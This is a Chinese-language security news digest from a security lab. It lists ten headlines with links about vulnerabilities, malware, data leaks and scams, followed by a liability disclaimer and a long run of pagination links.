免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、Netgear 发布安全补丁修复JGS516PE交换机高危漏洞 https://securityaffairs.co/wordpress/115586/hacking/netgear-soho-flaws.html 2、谷歌发布适用于Chrome浏览器的Spectre PoC https://securityaffairs.co/wordpress/115573/hacking/google-chrome-spectre-poc.html 3、研究人员在Linux内核模块中发现了三个有15年历史的漏洞 https://securityaffairs.co/wordpress/115565/security/linux-kernel-flaws.html 4、研究人员发现适用M1芯片的XCSSET mac恶意软件新变种 https://securityaffairs.co/wordpress/115552/hacking/xcsset-mac-malware-m1-chips.html 5、WeLeakInfo 上万用户详细信息造泄露 https://securityaffairs.co/wordpress/115544/data-breach/weleakinfo-leaked-data.html 6、Chrome更新修复已被利用的零日漏洞 https://thehackernews.com/2021/03/another-google-chrome-0-day-bug-found.html 7、研究人员通过暴露的git和env文件入侵印度政府网站 https://www.bleepingcomputer.com/news/security/researchers-hacked-indian-govt-sites-via-exposed-git-and-env-files/ 8、Woodcreek供应商服务公司泄露约20万患者信息 https://www.securityweek.com/breach-exposes-data-200k-health-system-staff-patients 9、骗子通过推特广告宣传虚假加密货币赠品网站 https://www.bleepingcomputer.com/news/security/scammers-promote-fake-cryptocurrency-giveaways-via-twitter-ads/ 10、Lemon_Duck挖矿僵尸网络利用Exchange漏洞 https://www.bleepingcomputer.com/news/security/microsoft-exchange-exploits-now-used-by-cryptomining-malware/
第2页 第3页 第4页 第5页 第6页 第7页 第8页 第9页 第10页 第11页 第12页 第13页 第14页 第15页 第16页 第17页 第18页 第19页 第20页 第21页 第22页 第23页 第24页 第25页 第26页 第27页 第28页 第29页 第30页 第31页 第32页 第33页 第34页 第35页 第36页 第37页 第38页 第39页 第40页 第41页 第42页 第43页 第44页 第45页 第46页 第47页 第48页 第49页 第50页 第51页 第52页 第53页 第54页 第55页 第56页 第57页 第58页 第59页 第60页 第61页 第62页 第63页 第64页 第65页 第66页 第67页 第68页 第69页 第70页 第71页 第72页 第73页 第74页 第75页 第76页 第77页 第78页 第79页 第80页 第81页 第82页 第83页 第84页 第85页 第86页 第87页 第88页 第89页 第90页 第91页 第92页 第93页 第94页 第95页 第96页 第97页 第98页 第99页 第100页 第101页 第102页 第103页 第104页 第105页 第106页 第107页 第108页 第109页 第110页 第111页 第112页 第113页 第114页 第115页 第116页 第117页 第118页 第119页 第120页 第121页 第122页 第123页 第124页 第125页 第126页 第127页 第128页 第129页 第130页 第131页 第132页 第133页 第134页 第135页 第136页 第137页 第138页 第139页 第140页 第141页 第142页 第143页 第144页 第145页 第146页 第147页 第148页 第149页 第150页 第151页 第152页 第153页 第154页 第155页 第156页 第157页 第158页 第159页 第160页 第161页 第162页 第163页 第164页 第165页 第166页 第167页 第168页 第169页 第170页 第171页 第172页 第173页 第174页 第175页 第176页 第177页 第178页 第179页 第180页 第181页 第182页 第183页 第184页 第185页 第186页 第187页 第188页 第189页 第190页 第191页 第192页 第193页 第194页 第195页 第196页 第197页 第198页 第199页 第200页 第201页 第202页 第203页 第204页 第205页 第206页 第207页